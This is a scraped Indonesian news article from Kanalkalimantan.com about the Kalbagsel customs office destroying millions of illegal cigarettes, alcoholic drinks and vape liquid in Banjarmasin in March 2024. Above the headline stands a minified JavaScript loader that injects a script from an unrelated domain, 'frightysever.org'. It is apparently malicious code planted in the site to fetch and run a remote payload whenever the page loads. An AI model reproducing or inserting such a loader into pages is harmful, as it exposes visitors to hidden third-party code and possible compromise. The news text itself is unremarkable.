(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Lima Juta Batang Rokok Ilegal Masuk Kalsel Dimusnahkan, Liquid Vape dan Alkohol


KANALKALIMANTAN.COM, BANJARMASIN – Jutaan batang rokok ilegal yang sudah berkekuatan hukum tetap dimusnahkan Kantor Wilayah (Kanwil) Direktorat Jenderal Bea dan Cukai (DJBC) Kalimantan Bagian Selatan (Kalbagsel), Selasa (26/3/2024) pagi.

Pemusnahan yang dilaksanakan di halaman kantor DJBC Kalbagsel Jalan Ahmad Yani kilometer 2 Kota Banjarmasin dipimpin langsung oleh Kepala Kanwil DJBC Kalbagsel dan diikuti sejumlah instansi terkait.

Barang ilegal yang Dimusnahkan diantaranya 5.171.210 batang rokok atau hasil tembakau berbagi merk, kemudian 1.788,95 liter minuman mengandung etil alkohol, dan 4,86 liter rokok elektrik cair sistem terbuka (liquid vape).

Pemusnahan rokok ilegal dilakukan dengan metode Go Green, yaitu tidak dengan cara dibakar melainkan dengan dipotong menggunakan gergaji mesin.

Baca juga: Penumpang Mudik Lebaran 2024 Pelabuhan Trisakti Banjarmasin Diprediksi Naik 17 Persen

Sementara minuman mengandung etil alkohol dan cairan liquid vape dibuang ke wadah yang telah disiapkan cairan kimia. Kemudian seluruh barang yang dimusnahkan dibuang ke tempat pembuangan akhir (TPA) Banjarbaru.

Kepala Kanwil DJBC Kalbagsel, Dwijo Muryono mengatakan, barang yang dimusnahkan merupakan hasil penindakan dari periode 2023 hingga Maret 2024.

Sementara perkirakan nilai seluruh barang hasil penindakan yang dimusnahkan mencapai Rp7.503.482.030.

Baca juga: Dapati Kafe dan Biliar Buka Malam Ramadan di Banjarbaru

Dwijo memastikan jika barang yang dimusnahkan tersebut telah ditetapkan sebagai barang milik negara serta mendapatkan persetujuan dari Direktorat Jenderal Kekayaan Negara untuk dilakukan pemusanahan seusai dengan PMK-51/PMK.06/2021 tentang Pengelolaan Barang Milik Negara yang berasa dari Aset Eks Kepabeanan dan Cukai.

“Dari hasil penindakan terhadap barang-barang tersebut, Kanwil DJBC Kalbagsel berhasil menambah penerimaan negara berupa pengenaan sanksi denda kepada para pelanggar sebesar Rp1.359.392.000,” sebut Dwijo.


Lanjut Dwijo, barang hasil penindakan berupa hasil tembakau dan minuman mengandung etil alkohol yang dimusnahkan melanggar ketentuan Undang-Undang Nomor 11 Tahun 1995 tentang Cukai sebagaimana diubah dengan Undang-Undang Nomor 39 Tahun 2007.

Baca juga: Posko Angkutan Lebaran 2024 Pelabuhan Trisakti Dibuka, Lima Kapal Penumpang Siap Beroperasi

Pelanggaran yang ditemukan menurutnya berupa penggunaan pita cukai bekas, penggunaan pita cukai palsu, dan tidak dilengkapi pita cukai.

“Perkiraan kerugian negara mencapai Rp4.448.368.567,” kata Kata Dwijo.

Kepala DJBC Kalbagsel berharap dengan dimusnahkan jutaan batang rokok dan ribuan liter minuman etil alkohol itu masyarakat menjadi teredukasi dan menghindari membeli, mengkonsumsi maupun memproduksinya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Diduga Buat Akta Palsu, Notaris Senior di Bekasi Dilaporkan ke Polda Metro Jaya

Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More

2 jam ago

Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More

3 jam ago

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

8 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

8 jam ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

9 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

12 jam ago

This website uses cookies.